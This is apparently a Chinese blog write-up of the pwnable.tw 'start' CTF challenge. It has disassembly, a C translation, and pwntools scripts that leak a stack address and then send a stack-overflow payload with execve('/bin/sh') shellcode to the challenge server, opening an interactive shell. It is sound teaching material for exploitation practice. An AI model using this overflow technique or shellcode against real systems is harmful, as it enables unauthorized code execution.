pwnable.tw---start
Pwnable.tw—start
最近比赛玩了好几天的pwn,发现老是差点火候,开始正式刷刷Pwnable.tw看看。
题目分析:
checksec :
第一次遇到什么防护都不开的程序,兴奋。
IDA:
题目只有start和exit。
检测栈有点问题,不能够F5,强行看汇编。。。
.text:08048060 public _start
.text:08048060 _start proc near
.text:08048060 push esp
.text:08048061 push offset _exit
.text:08048066 xor eax, eax
.text:08048068 xor ebx, ebx
.text:0804806A xor ecx, ecx
.text:0804806C xor edx, edx
.text:0804806E push ':FTC'
.text:08048073 push ' eht'
.text:08048078 push ' tra'
.text:0804807D push 'ts s'
.text:08048082 push 2774654Ch
.text:08048087 mov ecx, esp ; addr
.text:08048089 mov dl, 14h ; len
.text:0804808B mov bl, 1 ; fd
.text:0804808D mov al, 4
.text:0804808F int 80h ; LINUX - sys_write
.text:08048091 xor ebx, ebx
.text:08048093 mov dl, 3Ch
.text:08048095 mov al, 3
.text:08048097 int 80h ; LINUX -
.text:08048099 add esp, 14h
.text:0804809C retn
.text:0804809C _start endp ; sp-analysis failed
.text:0804809C
.text:0804809D
.text:0804809D ; =============== S U B R O U T I N E =======================================
.text:0804809D
.text:0804809D ; Attributes: noreturn
.text:0804809D
.text:0804809D ; void exit(int status)
.text:0804809D _exit proc near ; DATA XREF: _start+1o
.text:0804809D pop esp
.text:0804809E xor eax, eax
.text:080480A0 inc eax
.text:080480A1 int 80h ; LINUX - sys_exit
.text:080480A1 _exit endp ; sp-analysis failed
.text:080480A1
.text:080480A1 _text ends
.text:080480A1
.text:080480A1
.text:080480A1 end _start
汇编代码直接采用了系统调用,
具体的翻译可以看这个:
Linux Sysycall Reference
把这个汇编翻译成C:
(并不是很想用软件画QAQ)
下面是翻译的代码:
void start()
{buf[20]="Let's start the CTF:";sys_write(1,buf,20);sys_read(0,buf,60);
}
void exit()
{sys_exit();
}
思路分析:
1.没有保护,在buf开始写入shellcode,直接栈溢出,跳到buf的位置,然后执行即可。
但是buf只有20位,shellcode有21-44位,行不通。Pass!
2.既然堆不够那就看栈,先跳到buf的首地址08048087,跳到利用write函数leak出&buf的栈地址,然后再利用read在栈的溢出位置&buf+20的位置写入shellcode,从而二次溢出时跳到栈的位置+20即shellcode的栈位置从而执行栈上的shellcode。
执行测试:
先leak出buf的地址。
代码:
#coding:utf-8
from pwn import *file_name="./start"
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=process(file_name)#本地
#p=remote('pwnable.kr',9000)#远程
buf_ar=0x8048087
def leak():p.recv(100)payload='A'*20+p32(buf_ar)p.send(payload)k=p.recv(4)return hex(u32(k))
buf_sta=leak()
print "buf's stack address is:",buf_sta
结果如下:
程序到这里有会有read。
所以再后面来一次栈溢出,执行shellcode。
由于用pwn的shellcraft.sh的位数多于60位,所以要换一个shellcode。
exp:
#coding:utf-8
from pwn import *file_name="./start"
context(log_level = 'debug', arch = 'i386', os = 'linux')
#p=process(file_name)#本地
p=remote('chall.pwnable.tw',10000)#远程
#shellcode=asm(shellcraft.sh())
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'buf_ar=0x8048087def leak():p.recv(100)payload='A'*20+p32(buf_ar)p.send(payload)k=p.recv(4)return u32(k)
def get_pwn(addr):payload='A'*20+p32(addr+20)+shellcode#print "payload len is :",len(payload)p.send(payload)p.interactive()
buf_sta=leak()
print "buf's stack address is:",buf_sta
get_pwn(buf_sta)
pwnable.tw---start相关推荐
- pwnable.tw startorw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- Pwnable.tw之BookWriter
Pwnable.tw之BookWriter 知识点 FSOP是FILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一 ...
- pwnable.tw unexploitable 分析
这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...
- 【pwnable.tw】 death_note
题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...
- pwn with glibc heap(堆利用手册)
前言 对一些有趣的堆相关的漏洞的利用做一个记录,如有差错,请见谅. 文中未做说明 均是指 glibc 2.23 相关引用已在文中进行了标注,如有遗漏,请提醒. 简单源码分析 本节只是简 ...
- linux 获取 基地址,linux - 每个函数加载的glibc基地址不同。 - SO中文参考 - www.soinside.com...
我试图计算一个二进制文件的库的基地址.我有printf,putes ecc的地址,然后我减去它的偏移量,得到库的基地址.我对printf,putes和signal这样做,但每次我得到的基地址都不一样. ...
- PWN-PRACTICE-BUUCTF-18
PWN-PRACTICE-BUUCTF-18 ciscn_2019_final_3 ciscn_2019_s_9 jarvisoj_level5 pwnable_hacknote ciscn_2019 ...
- 64位c语言调用32位glibc,glibc fclose源代码阅读及伪造_IO_FILE利用fclose实现任意地址执行...
简介 最近学习了一下_IO_FILE的利用,刚好在pwnable.tw上碰到一道相关的题目.拿来做了一下,遇到了一些困难,不过顺利解决了,顺便读了一波相关源码,对_IO_FILE有了更深的理解. 文章 ...
- shellcode执行盒_简单shellcode学习
引言 之前遇到没开启NX保护的时候,都是直接用pwtools库里的shellcode一把梭,也不太懂shellcode代码具体做了些什么,遇到了几道不能一把梭的题目,简单学习一下shellcode的编 ...
- 计算机、网络安全、CTF资源总结-The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路)
The_Growth_Path_Of_A_Pwner(一名安全从业者的成长之路) github项目,会不断更新,求个star! https://github.com/tangzichengcc/The ...
最新文章
- NOIp #2010
- 为什么报表里面记录的创建时间 比我们电脑客户端的世界时间 隔8个小时?这个是什么原因?...
- maven java archetype_使用Maven Archetype创建Java项目模板
- MongoDB- 简单操作命令
- jdk1.8 ConcurrentHashMap
- 无界面chrome + selenium爬虫
- SQL Server 2008中SQL之WaitFor
- django mysql socket_django mysql 读写分离
- python : sha256 、ripemd160
- PhotoshopCS4的抽出滤镜下载及安装方法
- 【Rust日报】2020-05-05:窥探Zoom, Lambda部署, slip等
- android 手机自动登录,Android:程序跳过登录界面直接进入主界面(自动登录)
- 为个人博客添加文章评论功能
- 2011年恒生电子校园招聘笔试题目
- 计算机毕业设计Android的手机音乐播放器app(源码+系统+mysql数据库+Lw文档)
- MT41K256M16TW-107 AUT:P美光内存颗粒D9TRN
- Nginx服务器的使用
- internet时间和域
- 【单片机】Keil5如何新建工程
- 07年博士考题整理合集!